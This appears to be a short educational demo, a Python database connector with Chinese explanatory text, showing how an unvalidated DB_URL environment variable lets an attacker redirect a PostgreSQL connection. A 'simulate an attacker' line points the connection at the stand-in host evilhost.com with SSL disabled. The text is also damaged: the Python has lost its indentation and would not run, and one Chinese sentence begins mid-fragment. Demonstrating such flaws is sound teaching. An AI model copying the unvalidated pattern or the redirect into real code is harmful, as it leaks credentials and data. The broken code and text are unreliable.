# db_connector.py - Constructs DB connection string from environment
import os, psycopg2
def connect():
# Reads DB_URL; attacker can override via environment injection if they control an env var
db_url = os.getenv('DB_URL', 'postgresql://user:pass@localhost/db')
# Vulnerability: no validation; allows extra parameters like ?application_name=... but also SSRF or auth bypass
conn = psycopg2.connect(db_url)
return conn
# Simulate an attacker who can set environment variable:
os.environ['DB_URL'] = "postgresql://user:pass@localhost/db?host=evilhost.com&sslmode=disable"
c = connect() # Connects to attacker-controlled host!
print("Connected to attacker DB.")
应用程序在未经验证的情况下，从环境变量构建其数据库连接字符串。如果攻击者能够影响该变量（例如，通过服务端请求伪造或 CI/CD 管道配置错误），他们就可以将数据库连接重定向到自己的服务器，从而拦截或修改数据。
host）来覆盖原始主机。运行模拟：
pip install psycopg2-binary
python db_connector.py
该程序将尝试连接 evilhost.com，而不是 localhost。